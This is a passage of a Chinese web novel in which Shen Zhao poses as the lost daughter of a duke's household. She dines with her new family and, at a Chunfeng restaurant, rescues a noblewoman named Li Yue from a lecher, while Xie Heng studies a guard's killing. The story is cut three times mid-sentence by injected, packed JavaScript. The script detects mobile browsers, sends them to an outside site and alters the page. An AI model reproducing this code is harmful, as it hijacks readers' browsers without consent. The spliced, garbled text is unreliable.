沈昭随母亲上前,蹲伏在榻前,柔声道:“祖母,我回来了。” “好啊!回来就好,这些年...你受苦了。”祖母堪堪抬起手臂,手背上纹路纵横,似崎岖的山川,但轻抚在她脸庞却软如细纱,她眉目含笑地一寸一寸打量眼前人,到底是谢家的儿女,哪一处都极好,看着便令人欢喜。 幼时眉眼没有如此标致,犹记得儿媳还曾抱怨过:小姑娘的眼睛还没有她兄长的大,但现在一对杏眼炯炯有神,倒比珩儿看着可人多了,只是瞧见她头上戴的簪子,仍心疼地摇摇头。 沈昭简短地讲起自己流落在外的一些小事,祖母便在一旁静静听着,或喜或笑,或忧或疼,仿佛顺着她这些年岁一同慢慢走过。 许是坐得太久,身子犯了乏,她言语间的气力渐弱,沈昭上前搀扶她歇下:“祖母,您若累了,先好生歇着吧,等改日我再同你一一细说。” 老夫人躺在床上,一双眸子却从未从沈昭身上离开,手轻轻拉着她,不舍放开。 李立雯上前宽慰道:“阿姑,您安心养着,早点好起来,瑾儿才能多陪您说说话,既回来了您每日都能见到,不差这一时半刻。” 老夫人望向门外:“珩儿呢?把他唤进来。” 婢女得了吩咐去请候在门外的谢珩,谢珩入内时,沈昭还蹲在塌前,任凭老夫人拉着。 谢珩并未上前,只站在一旁执晚辈礼:“祖母,母亲。” 老夫人轻声唤他上前。 谢珩稍作犹豫,一撩衣袍,正襟半跪于另一侧,虚接住祖母伸过来的另一只手。 老夫人将他们一大一小两只手交叠握住。 沈昭倒是无所谓,她垂眼瞧着老夫人将谢珩素长的手拉过,覆在她手上,他只是虚搭着,并未触到她。 可老夫人实实在在握住她们的手,四手交叠不留一丝空隙。 他的手掌宽厚有力,虎口处还带着一层薄茧,本该温热的,却比在严家那床衾被还多了几缕霜寒。 沈昭又用余光瞄了一眼身旁的人,他嘴角微不可查地颤了颤,并未失态。 老夫人欣慰地望着谢家后辈,轻抚拍着:“珩儿沉稳,瑾儿活泼,谢家有你们二人,不愁后继无人了,我终是可以安心了。” 她简单叮嘱几句后,又留下李立雯交代了些,先让他们两个小辈出去了,谢珩像得了特赦般,倏而收回手,见礼之后退至门外,沈昭学着他的言行紧随其后,走到廊下,她调笑道:“兄长,走这么急做什么?” 谢珩一本正经:“自然不能扰了祖母休息。” 两人未谈几句,李立雯便阖门退出,珩儿办事虽然妥帖,但到底是男儿身,碍于男女有别,不会样样精细,就眼前这身衣服,虽做工尚可,若不是瑾儿出挑模样撑着,到底是衬不上国公府小姐身份。 哪怕不由老夫人提醒,她这个当娘的亦会上心,自打昨夜得了消息,国公府上下便在打扫,李立雯更是让身边贴身伺候的婢女帮忙收拾瑾儿的住所,只是仓促之间难免有疏忽,短缺了的衣食好弥补,但心中的空缺还需徐徐图之。 瑾儿嘴上甜,一言一行从未对她们有一丝怨怼,但这更让她们心有愧疚。 经由老夫人刚才一番交代,李立雯才恍然,她自小长于村野,难免不习惯现下的生活,虽是刻意敛了性子,但规矩繁多反倒给她造成压力,老夫人尚待静养,她本又不喜出门,想让她心无嫌隙地融入新环境,只能靠着珩儿了。 李立雯开口,虽是商议但却带着不容拒绝的威仪:“珩儿,往日你念着公务,甚少休沐,瑾儿刚回府,对长安还不熟悉,你回去告个假,这几日多陪陪你妹妹,兄妹之间多相处相处。” 沈昭摆摆手,她对长安可熟得很,谢珩规矩这么多,同他玩才没意思,万一不小心触他逆鳞,动辄拔剑动刀,多可怕,她九死一生苟活下来,还想守着金山银山多快活些日子呢。 谢珩直接开口拒绝:“母亲,我属下一名金吾卫身死,尚未查清,衙内还有公事,只怕——” “珩儿,自你任职起,从未休过长假,哪怕轮值仍不在家,一家人安安稳稳吃个饭的日子都少有,你合该歇几日了,况且这不是为你,是为着你妹妹,我并非同你商议,今下午便去衙里交代一下。”李立雯出言打断他的推辞。 谢珩思虑良久,不情不愿吐出一个字:“是。” 李立雯又怕沈昭面子薄,对谢珩有所顾忌,有意当着她们的面对沈昭说道:“都是一家人,有什么需要的尽管告诉我们,你兄长巡守长安城,自是熟知哪处有趣,让他带你转转,莫同他生分。” 说罢又递给她一个荷包,装着满满的金叶子,话里话外指明这是给她傍身所用,由谢珩带她熟悉环境,自然不能挪用她的小金库。 李立雯刚同老夫人简单协商过,她们苦寻多年,沈昭归来不能薄待,可她已过及笄,不如在国公府置办个宴席,公开表明她的身份,趁机一扫国公府的阴霾,初定于五日后,这五日分发礼贴、筹备宴席,待她熟悉下长安城后,再适当教些简单的礼仪,不过多拘着她,时间正妥当。 因着去严家本就耽误了些时辰,又一同去成衣铺子梳洗过后,已然过了饭点。 老夫人向来只在屋内用些简单膳食,李立雯等着他们,见迟迟不来,便陪同老夫人一起用了些。 平日谢珩常在衙内用饭,念着沈昭今日回府,李立雯特意吩咐厨房多备下一些饭菜。 虽然她吃了些,但今儿心情好,又怕瑾儿初回府,同她兄长独处有些拘束,三人便围在一起吃了个团圆饭,厨房的膳食做得清淡,沈昭虽爱重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571564|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,但久未吃饱过,倒也不会挑剔。 当她余光扫见眼前慢条斯理的母子二人,便缩了缩竹筷的角度,夹下一小口鱼肉,有模有样地送入口中。 李立雯碗中的饭还未过半,她瞧瞧自己手里端着的,早见了底。 谢珩为了保持清醒,一向少食,若是因公误了时辰,大多便不再吃了。 沈昭还未开口添饭时,那母子俩早已吃饱放下碗筷了。 李立雯体贴开口:“瑾儿,可吃得惯?若是喜欢吃什么,提前吩咐厨房,让她们准备就好。” 想吃红烧肘子、剁椒鱼头、火锅、烧烤、小龙虾... 她笑得灿然:“吃得惯,鱼片粥鲜嫩爽滑、酒蒸养肥瘦相间、白炸春鹅外酥里嫰...个个都顶好吃。” 说得她喉间又涌上一丝油腻,小口抿了杯乌梅汤压了压。 “那便好,既回了家,万事都可以同我们商量。”李立雯安抚地拍拍她的肩,知她们之间总有些隔阂无法一时跨越,不急于一时。 用膳后,谢珩回衙内交接事宜,李立雯同王管家核对宴请名单,着手筹备五日后的宴席,沈昭则回屋歇晌。 婢女引她回房,入门便见一张水墨山石纹的大理石方桌,桌上摆着白玉瓷瓶,插着几支开得绚烂的芍药花,方桌旁放置两个绿釉绣墩,秀气又小巧,雕刻着繁复精致的花纹。 沈昭粗略看了一眼,屋内贵妃榻、衣柜、桌案、屏风、妆台...一应俱全,可见她母亲的用心。 当然她最喜欢这个嵌黄杨木雕门架子床,漆色暗红如凝脂,镂空雕着青花鸾凤图样,下铺着层层锦被,细滑如水,上好的丝缎盖在身上反而丝丝凉凉,好生清爽。 她将绣鞋踢开,大字式趴在床上,舒舒服服补了一觉。 - 沈昭睡了大概半柱香的时辰,模糊中听到屋外来往的脚步声,虽有意压着声音,但她已醒了大半,揉揉眼起身。 在门口随侍的婢女见她起身,小步入内:“小姐,您醒了。”说着端着净手的铜盆入内,两个梳着双髻的婢女站在她面前,对她恭敬行礼。 这两名婢女名唤春宁、夏安,在李立雯房中待过几年,春宁性子稳妥,夏安头脑活络,一静一动,各有所长,她初回府需有个在旁提点帮忙照看的婢女,但又怕她耐不住寂寞,总得有个说话逗趣的人陪着,因此特意选了她们留在沈昭房内侍奉。 这国公府家的家丁、婢女虽没有皇宫内等级森严,但亦各有分工,打扫、庖厨、浆洗、随侍...一般能近身伺候起居的,便是最得主人家欢喜的一种,这两个婢女年纪虽和沈昭相仿,但被李立雯调教过后,举止得体,说话也挑不出毛病。 可不出半刻功夫,她们眼睛红肿低着头在院内扫地。 谢珩告完假后,带着杨方来寻沈昭,便看到这一幕,他问她们二人:“发生何事?小姐呢?” 见两人支支吾吾,杨方又让路过的婢女进屋查探,沈昭早已失去踪迹。 11. 第 11 章 杨方默然,只垂眼望着手中的木盒,里面放着谢珩许下给沈昭的那座“小银山”,既她已过了母亲和祖母那关,正式入了国公府,这钱本是她应得之物,但人却先一步不知所踪,此刻握在他手,放也不是拿也不是,倒比烙铁还灼人。 将军之举太过冒险,毕竟那女子口中无一句实言可信。 但一场空欢喜的是两位夫人,他替将军悬着一颗心,静候安排。 院中花开正盛,蜂蝶群聚。 与前院张罗布置的热闹不同,此处只余两个婢女微弱的抽泣声。 谢珩迈开长腿,泰然坐于院中石凳上,他千辛万苦“寻”来的妹妹不见,他处之淡然,挺直的脊背仍透出孤松劲柏之姿:“到底发生何事?” 夏安自觉受了天大委屈,张口道:“夫人让我和春宁姐姐侍奉小姐,可小姐...小姐却说让我们二人清扫院子便罢。” 她虽不敢指摘小姐,但语气到底含了几丝不满,她这双巧手挽出的发髻最是好看,如今却让她清扫污物。 春宁不似她这般稚气:“小姐心疼我们二人,便自己穿衣梳洗了,至于小姐何去,我们二人亦不知。” 春宁话说得得体,但她不知她家小姐确实是如此想的,沈昭尚不习惯事事有人伺候,她本就不是官家小姐,若娇养出一身富贵毛病,由奢入俭难,日后被扫地出门,更没了自理能力。 她本好意让她俩歇着,可她们却误以为自己出了岔子,惹小姐不喜。 真安排洒扫卫生,又印证了她们所猜所想。 夫人交代她们事无巨细地侍奉好小姐,可她们越是殷勤,沈昭躲得越远,何况她哪懂婢女仆从间亦有门第等级之别,只出于让她们歇着的好意,反而闹了误会。 谢珩虽平素和她们从无交际,只能从话语中琢磨出几分虚实:“小姐她初回府,尚不适应有人随侍,更不懂府里人事往来,让清扫便清扫,并非冷遇你们,何况,既已签了身契入府伺候,差事还容挑拣?”他语调平稳,可质问一出却带着毋庸置疑的笃定。 饶是夏安也听出其中暗含的不满,随春宁一同跪下认错:“奴婢不敢。” 自沈昭回府前,府中便传得沸沸扬扬,国公府寻她十余年之久,除了王管家和自小看她成长的老仆认识她,府里来来往往换了几批人,新晋的家丁只当看热闹。 有言道:便是高门檐下的家雀儿,亦比外头的野鹞子矜贵几分,自带傲气。 谢珩甚少回府,对府中事务从不插手,他此话一出,两个婢女吓得缩如鹌鹑般,只知谢罪,心中自生的那点龃龉,全然无存了。 谢珩又问了沈昭离府前的细节,而后警示道:“小姐率性而为,但若你们再有旁的心思,好自为之。” 两个婢女点头称是,待谢珩走后,抓起竹帚,再不敢多言一句。 杨方将手里“烙铁”递给春宁:“替小姐收好。”转身跟上谢珩。 - 春风楼是长安城名声最盛的酒楼,二楼及以上设有雅间,若是饭时去得晚了,拿着木牌等号的长队能从街南排至巷北。 此刻已然过了饭时,但进出仍有零星客人。 一白衣公子手持锦扇,身后带一个家丁,店小二见来人衣着不俗,笑脸相迎:“二位公子,里面请。” 公子直接上了二楼,目光扫过一个个雅间,入夏后,雅间门檐上换了珠帘,兼具美观与清爽,若有私事相商,仍可闭门而谈,他收扇指向其中一间【云水间】:“就这间吧。”说罢提步而去。 店小二礼貌地尝试拦下:“这位公子,这间已有一位贵人提前订下,不如你看隔壁这间,采光极好,能看到长安全貌。” “去去去。”家丁将其推至一旁,“我们公子能来此便是给你面子,那间好就把那间留给旁人,我们就要这个!” 二人不由分说入内坐下,小二知道是硬茬,只得去请示掌柜的:“那您二位先坐...” - 沈昭一手捧着半杯醪糟,另一手握几只肉串,在热闹繁华的集市游走张望,方才那一顿饭她只吃了个半饱,一觉醒来肚子空空,拿了几两碎银便出门了。 大户人家规矩真多,吃顿饭磨磨唧唧急死她了,一口饭总得反复咀嚼,才能下咽。 她初见欲留个好印象,总有些畏缩,吃得着实不够尽兴,谁知谢珩一介男儿身,竟也寥寥几口,她暗道此非长久之举,以后总得想个法子,若是每顿饭都要开小灶,她的荷包可承担不起。 食肆炉火正旺,油锅里“滋啦”一声,爆出葱蒜的焦香,混着酱醋的酸咸,在风里打了个旋儿,又散成丝丝缕缕的勾人味道。 沈昭嗅着这缕香,遥见远处一抹青,长身而立,润雅肃清,她疾步而去,弯着杏眸拍拍他的肩,又绕到他另一侧,歪头道:“大人...兄长,你怎么来了!不会你也没吃饱吧。” “给你一串,这我还没吃呢!”她不情不愿地举起一只肉串。 谢珩皱眉,微一仰头躲开。 拿不准他的心思,沈昭悻悻收回,不吃算了,自顾自地吃着。 谢珩无奈摇头:“走吧,既没吃饱,去春风楼吃些小食。”杨方没有多言,只跟随在两人身后。 来往行人不时驻足侧目,偶有频频回首,两人并肩而行,一个丰神俊朗,孤松若雪,一个仙姿玉貌,眉目如画。市井喧闹,行人来往如织,偏生到了他们二人身畔却静了几息,就连檐上的栖雀亦通了灵性,歪头啾鸣,似叹人间竟有此等人物。 教这寻常巷陌,无端多生了一段风流。 沈昭初以为他们只叹谢珩的气韵风度,直到迎上货郎偷眼相瞧的目光,只恍若不知地错过视线,盯着手中珍馐。 记着李立雯提到五日之后的宴席,她问道:“兄长,五日之内,能找到你亲妹妹么,若是真举办宴席,届时昭告众人,那之后——”他的亲妹妹该如何自处呢? 她本意只想骗个温饱,若论占了另一个无辜女子的身份,心中仍有不忍。 纸终究保不住火,她本就不图长久,两位夫人又通情理,若他日寻回正主,定皆大欢喜。 谢珩派出去探查的人在定州断了消息,之前曾寻她十余年未果,更遑论五日之内:“派去寻找的人暂未回复,既你在国公府一日,便安心一日,若有怀瑾的消息,我会先同祖母和母亲请罪,不会牵连于你,严家长子已被换回,过几日便会回到严家。” 沈昭闻言莞尔浅笑,如春水漾开微澜,连穿堂之风也温柔驻足:“那便谢过兄长啦!” 灼灼如华,润物无声却浅浅在观者心头留下痕迹。 三人一行很快到了春风楼下,随店小二上二楼雅间,寻一视野开阔处,开两扇小窗,紧邻【云水间】。 府里晚饭清淡,母亲李立雯过午不食,谢珩提醒道:“多用点,免得晚上又偷跑出来觅食。” 沈昭笑着应下,忆起那晚她坐于石阶上,谢珩避之不及,站得远远地守着她吃,彼时谁能想到他们还能同坐一桌。 因着客少,饭菜上得及时,未久便摆满了桌。 杨方站在一旁伺候,偷咽了几口唾沫,沈昭不避着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571565|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反正他知这前因后果,招呼道:“你不吃么?”她方才点菜时,可是按三人量点的,她自知主子和仆从间有所避讳,但他既是亲卫,又知道他们秘辛,可算作自己人了,没这么多讲究。 “一起吃吧,今天就庆祝我们顺利踏入国公府,愿老夫人身体康健,福泽绵长。” 杨方低头:“属下不敢,于理不合。” 见谢珩不允,沈昭没多做勉强,席间谢珩问起她在九州之事,她也只粗略带过,无非疆域开阔、出行便利,至于具体细节不便多说。 当论起婢女一事,沈昭喟叹:“我在九州就是一寻常人家,九州富贵人家大概如国公府一般,家中不乏管家云云,可我不习惯有人处处伺候,帮我梳个发髻便好, 召之即来挥之即去,他们又不是物件,签了契书,也不是卖给我,万一我习惯了此等奢靡日子,日后离开王府,反倒不自在了。” 沈昭那方正娓娓道来,谢珩垂眸静听,观其言行,这些话倒做不得假,她执意如此,且假扮一事并非长久之计,那随她便是。 “兄长,我既如实相告了,那我有一事不明,还需你替我解惑一二。”沈昭壮着胆子问道。 谢珩凝眸看向她,又淡然错开。 杨方目光在两人身上流转,倒想看看她能问出什么。 沈昭:“我观长安风俗开化,街上往来常有夫人小姐着低领襦裙,更有甚者半露□□,同行男女或执手并肩,或轻揽柳腰,皆是寻常举止,虽然男女有别,可我总觉得兄长你过于拘谨了,”她半身微倾,正色道,“虽是假扮,但你首先要将我当做你妹妹。” 杨方傻愣住,一向舌灿莲花,虚谈妄议之人,竟坐于此神色肃然讲起如何假扮不留把柄,道是妙也不妙。 谢珩:“个人秉性不同罢了,哪怕是真的谢怀瑾在此,我亦会称其怀瑾,不过于你而言,确有不公,若无旁人,你我相见时,我唤你本名亦可,你名唤沈昭,那你的故交旧识,会以何相称?” 沈昭掰扯着纤纤玉指:“沈昭、小昭、昭昭都好啊。”她暗自叹道,很久没有人如此叫她了。 “沈昭。”谢珩缓缓启唇,一字一顿,似珠玉落盘,悦耳清越。 二字入耳,她恍然间又回到曾经:她同弟弟打闹,两人吵着要吃盘中最后一只虾子,母亲在旁念着他们孩子气,嗔怪丈夫下次记得多买些... 只一夜斗转,父亲木然地咬烂母亲的脖颈,接踵而至的“人”撞破房门,寻着活人的气息,啃食殆尽,弟弟抱着父母的双腿哭喊爸爸妈妈,渐渐变成低哑的呜咽,流着血泪,断断续续说出:“姐...跑...” 曾经她深以为名字只是一个代号,名字相同、容貌相仿之众甚多,可世间熙攘,有人唤她严元清,有人称她谢怀瑾,但她是沈昭。 可方才所谈,岂是论名号称谓一事? 被谢珩话锋一转,怎就偏了题?罢了罢了,她不欲细究。 适时,店小二送上一盘干果点心,盒分五格,形如梅花,其中放红枣、核桃、榛子、松子不等。 沈昭取了几枚榛子,可身边无趁手的器具,她稍作犹豫,将手中青瓷杯扬起,借由瓷杯底部,用力向榛子砸去。 “铿!“ 杯底与檀案相击,榛壳应声而裂。几片碎壳飞溅落在她纱裙上,她顺手弹去。 饶是杨方跟随谢珩多年,也不由得睁大双眼。 谢珩伸向桌下暗格的手顿在半途,见她拈起榛仁放入唇间,他默默扫去落在衣袍上的碎屑,递出一个青铜小锤:“可用此物。” 12. 第 12 章 店小二将客人占桌一事告知掌柜的。 近日总有客订桌却未见其人,若是得闲便罢,赶上饭时这岂不是诚心毁他买卖。 掌柜的正在气头上:“去去去,白长俩窟窿,那订桌的客人来了么?” 店小二摇摇头。 “人影都没见,先招呼这个去,给钱的就是爷!” 店小二忙去招呼客人,占着【云水间】的这位是外地商客,游历至长安,慕名而来,出手阔绰,又得了小二赔不是,眼高于顶,大言不惭道:“这长安城没什么稀奇,四四方方的坊市,教养出来的人也规规矩矩,一看就没见过什么世面。” 家丁应和:“那是,这城里的鱼都得从咱们那运,瞧着就不新鲜。” 公子探窗往下瞧:“不过这长安城的美人倒名不虚传,燕环肥瘦,各有韵味,这脂粉香尤是醉人。” “砰——” 沈昭落锤声响起,公子厌恶地怨怼道:“这大名鼎鼎的春风楼不过如此,几扇屏风木门薄如蝉翼,聒噪得很。” - 一辆马车缓缓停在春风楼前,一姑娘一袭杏黄色齐胸襦裙,头戴幂篱,在婢女的搀扶下下了马车。 店小二知是贵客,引着上了二楼:“姑娘,楼上请。” 可这姑娘和婢女直直冲着云水间走去,小二暗道不妙,还未来得及阻拦。婢女先嗔怪开口:“怎么回事,我家小姐提前订下这间,如今怎的竟有人先一步占下了?” 姑娘止住她:“采薇,”又对店小二说道,“烦请再帮我们另寻一处安静些的阁子吧。” “慢着!”适才坐在云水间的公子起身相迎,正念叨着无人相陪,正好来了两个我见犹怜的小娘子,他手摇折扇,“姑娘,你我今日有缘,不妨共聚一席,莫负了这春光。” 采薇怒道:“你是何人,敢对我家小姐出言不逊。”姑娘拉住她,不愿惹事。 他并不理睬,复又端起桌上酒杯,邀她共饮:“姑娘,这青瓷茶盏倒衬你的手。” 这姑娘虽以白纱覆面,但遮不住桃花妆的清丽动人,像是哪家小姐,溜出府玩,一再退让不想声张,反倒助长了来人的气焰。 沈昭自他刚刚妄议往来女子时,便憋着一股气,桌上的榛子都被她砸成了齏粉,她本不想插手,但那人竟愈发离谱,青天白日出言调戏。 她放下手中小锤,对谢珩低声说:“一会要是打起来,你可不能见死不救。” 谢珩目光扫过楼梯间,几名身着常服的侍卫正疾步往楼上走,观其佩剑上的暗纹,应是宫中禁卫。 沈昭掀起珠帘,一手将那姑娘拉至身旁,一手夺了浪荡子手中的杯盏,眼中瞬间浮起水雾:“妹妹,幸好我们来得巧,这个瓷杯还未被这公子带走。” 店小二和婢女一时摸不着头脑,呆愣着看向她。 浪荡子心神荡漾,眼眸霎时亮起,原来还是一对姊妹,妙哉妙哉。 沈昭拎起衣袖佯装擦泪:“也怪姐姐我,昨日同你一道前来,竟将如此贵重的物件遗留在此。”她举起手中杯盏,“公子,想必你不知,这个杯盏虽不出众,但确是我们祖父临终前留下的。” 她垂头绞着残缺一角的披帛,哽咽道:“他老人家生前最爱用此物,若是磕碰坏了,我们姐妹二人只能去城隍庙当哭丧人,据说这亡人留下的物件最是灵验,若是心怀不轨之人碰触,小心他老人家冤魂,夜夜缠着你...”· 那浪荡子虽不信鬼神之说,但听这杯盏是一个死朽的老头儿惯用,只觉喉间一阵恶心,躬身扶窗要吐。 姑娘和丫鬟听得真切,抿唇低头强忍住笑。 仍端坐在隔间的谢珩听着她口空白话,半眯眼眸盯着桌上同款杯盏,半刻钟前,这厢还用着“祖传灵物”砸榛子。 身后的脚步声渐近,沈昭扭头正对上八个魁梧高大的男子,持剑而来。 她朝谢珩所在探头,又大声咳嗽示意,他却无任何回应,只有风拂过,珠帘轻碰的细碎声。 沈昭一时后悔不迭,谁知这浪荡子带着打手出门,以谢珩和杨方功夫,应该有胜算,但他们人呢? 静默几息后,她索性把心一横,侧身靠近身旁女子,小声谋算:“一会我开口时,一齐向后方跑,你拉着你的婢女。” 白纱覆面的女子还未开口解释。 “谢珩,你见死不救,枉为君子。” 沈昭出声大喊,瞬时将手中杯盏砸向提刀侍从,拉起女子转身便跑,及至楼梯口时,出路已被侍从牢牢守住。 她后退几步,声音微颤,凌乱的发丝散于鬓角,心道不妙但仍挺直腰背:“你们...别过来。” 退无可退时,她身后传来一声惊呼。 “哎哟,你们什么人啊!”方才张狂的公子正被两名侍卫抵着脊骨,跪于一旁。 沈昭歪头张望,才顿觉他们竟不是一伙,再回身瞧这娇嫩若花的姑娘,罗绮玉裳,定是富贵人家小姐,又岂会没几个侍从跟随,只是她一时情急,闹了个天大的误会。 她怒瞪隔间那半寸衣袍,他原是早已看出各种缘由,却置身事外任她在此一番折腾。 姑娘缓步上前,拉起沈昭的手:“多谢姑娘出言相救。” 挡住去路的侍从依序执礼让开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571566|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>适时谢珩从隔间走出,姑娘对他轻轻摇头,示意不要声张,抬眸又看向身旁女子,才恍然明晰。 谢珩心下了然,并未见礼,只颔首站于一旁。 侍从将浪荡子和家丁押解上前:“小姐,该如何处置?” 两人告饶声不止:“姑娘,是我等有眼不识泰山,姑娘恕罪,姑娘饶命。” 她本就想息事宁人,又不是逞勇争胜的性子,柔声道:“罢了,下不为例,若是再对旁的女子出言不逊,那便...那便掌嘴十下吧。” 这温婉声音一出,若不是周遭围了一干人等,气势定然弱了三分。 浪荡子见侍从并未作罢,抬手掌嘴:“好好...我掌嘴。”被侍从拎着衣襟扯下楼去。 待人散后,那女子开口:“听闻国公府寻回了失散多年的小姐,今日一见,果真是个妙人。” 原来眼前人和谢珩还是旧识,经她夸赞,沈昭脸上泛起一层红晕:“姑娘过奖了,小事小事,敢问姑娘名讳?” 女子犹豫片刻,并未明言,只道:“今日出府,未经爹娘允准,还请谢姑娘莫对外言。” 沈昭点头应下,只当这高门贵府规矩繁多,她不多问。 眼前的女子却生怕怠慢了她,私以为寒了她的心,左右张望后,撩起轻纱在她耳畔,轻若蚊呐直言道:“李玥。”亮闪闪的眼眸对她轻眨几下,瓷白的小脸像一块甜美的糯米糕儿,教人忍不住捧在手心。 —— 因着点的小食未吃完,沈昭打包后带回府,谢珩绕路回了趟左衙,命杨方先陪沈昭回去。 春宁和夏安因受了责罚不敢多言,清扫完院子后,又将内外仔仔细细擦拭,没有半分怠慢,直到沈昭踏进闺房,她们手中仍不得闲。 沈昭拉她们坐下:“快歇会吧,来,尝尝春风楼的点心。” 在主子面前,她们哪受过这种待遇,莫说能同席而坐,便是坐着亦是恩赐,又见精致食盒里摆放的点心。 小姐是否真心待她们,自见分晓。 一时心中愧疚更甚,为自己那点小心思懊悔不已,作势要跪。 沈昭看她们举止,一头雾水:“快起身,多漂亮的裙子,跪脏了还得你们自己洗,以后在我面前不必太过拘束。” 反正都是打工人。 春宁将杨方之前交代的木匣递给沈昭,沈昭掀开盖子,被眼前“银色小山”的光芒晃得不由得眯起眼眸,而后又仔仔细细清点:一锭、两锭...银锭光洁的面映着她溜圆的杏眸,她忙又谨慎盖好,小心翼翼地将其藏在衣橱最里侧。 这等美差,最好多来几份! 13. 第 13 章 御风一案移交给左衙,一是因着区区金吾卫不值得耗费人力物力,二是行凶之人手段狠辣,只身闯值守重地,一剑封喉不可小觑。 谢珩去左衙走了一遭,仵作验尸结果已出,来人虽毫无破绽,但既是他麾下的金吾卫,又岂能逃过他的视线。 这差事甩给谢珩本意是既丢掉一个烫手山芋又可顺水推舟,至于谢珩如何决断、案子结与不结,都无人敢质疑他。 谢珩掀起白布,御风的尸身已呈青灰色,来人武功之高,一剑封喉,但若细看却经不起推敲,左撇子若以右手运剑,难免手腕生涩,起势虽重但收势飘,尤至后途因肘腕失力,伤痕会陡然变浅。 金吾卫中,惯用左手之人寥寥可数。 “将军,御风的尸体该如何处置?”金吾卫左将军卫青问道。 谢珩将白布郑重盖好:“交由我吧。我这几日休沐,衙内的事暂交由你。” 谢珩麾下各有左、右两名金吾卫将军,卫青便是其中之一。 谢珩初任职时,众人只道景明帝给其外甥寻了个闲职,当尊佛供起来便是,可谢珩不仅武功卓绝,巡守当值从不懈怠,哪怕轮休时亦会尽职尽责,又破获了几个大案,是以金吾卫之众无一不从心底敬重他。 这是谢珩任职以来,第一次长休。 国公府寻回失散多年的小姐,据闻云鬓花颜,姿色无双,一向勤于公务的大将军谢珩也得为其鞍前马后陪着,可吊足了全长安人的胃口,想一睹芳华。 但卫青却不以为然。 他家中有个同沈昭年岁相仿的妹妹,见谢珩一脸凝重,不禁轻叹应道:“衙内的事无需将军分心,大可放心交由属下,一切以您家里事为重。” 谢珩看他意有所指,屏退旁人后,问道:“卫青,听闻你家中也有个妹妹,平日如何相与呢?” 卫青的话匣被打开,不苟言笑的脸露出几丝温情:“我们俩...不怕将军笑话,整天打,我又不敢真动手,那小姑奶奶,动不动就去向我娘告状,下值后还闹着让我帮她解九连环,我哪会那个...” 他转念思索,将军家高门贵府,仆从婢女上百,岂会有这些市井烦忧,觉察到失言,他又道:“小姑娘嘛,好相与,自然是吃好喝好,穿锦衣美服,戴漂亮首饰,她要什么便给什么,多花钱准没错!” 谢珩默了几息,锐利的黑眸中映着了无生气的白,修长的双手交叠,轻轻摩挲着虎口那一道浅疤。 谢珩矜贵持重,他虽待下宽和有度,但整日肃容,甚少言笑。 卫青垂首,莫揣测上级心思,人家兄妹如何自处,自然轮不到他一个外人掺和。 处理完衙内事务后,谢珩返回国公府,正巧碰上王管家外出。 “少爷,您今日回来得早,我让厨房多去备下些饭菜。” 谢珩午后同沈昭在春风楼饱餐那一顿,还不觉饥饿:“不必特意准备,一如往常便是,王叔这是着急去何处?” 王管家:“小姐回府,夫人特意叮咛一切都要换新,催着我去铺子寻裁缝,给小姐做几身衣服呢。” 街巷海棠树下落英缤纷,花瓣翩飞,那一抹妃色与被他斩断的轻纱相仿。 “等等,”谢珩从怀中摸出几锭银子交与他,“不用告诉母亲。” 王管家躬身接过,得见兄友妹恭,心头涌上一股暖意。 —— 沈昭适应力极强,枕着上好的锦缎,夜晚屋里院外掌着烛火,睡得格外香甜。 虽然她平素喜欢赖床,但临睡前,特意叮嘱春宁和夏安,明日早早将她唤起。既然拿钱办事,酬劳不菲,那基本的职业操守得有。 她不需春宁二人事事伺候,但她们两人不敢怠慢,一直在旁听候吩咐。 看着小姐拿着手中银梳犯了难,夏安上前见礼:“小姐,奴这双手挽的发髻最是好看,您若是不嫌弃,不如让奴试一试。” “不嫌弃。”沈昭痛快地把银梳递到她手上,挽发髻确是个精细活,她自己拉扯半早晨,若再耽误下去,只怕白起得如此早了。 沈昭目光随着她的手腕轻巧翻转,发丝在她指间丝滑如布,任她扭转、编织、不多时便挽好了。 经由夏安一双巧手改造,不出片刻,一个精巧的乐游反官髻而成,又斜插入一支金钗,春宁趁着挽髻的间隙,帮沈昭施以薄粉,涂上口脂,不妖不艳,自然天成。 “小姐,您可还喜欢?”春宁和夏安试探问道。 沈昭端详着镜中的自己,柳叶弯眉,薄唇轻启:“满意,多亏有你们二人。” 而后他们两人随沈昭去拜见李立雯,李立雯细细问过,又叮嘱她若有需要尽管同她提,既回了家,万事安心。 老夫人刚用了早膳,服下药,此刻精神正足,沈昭便又陪着说说,聊她自己这些年的经历,把自己的过往虚虚实实详述一番。待老夫人累了,便退出房,让她休息了。 —— 后院的“秉正堂”是谢珩居所,内设正房、厢房、书房以及他的练武场。 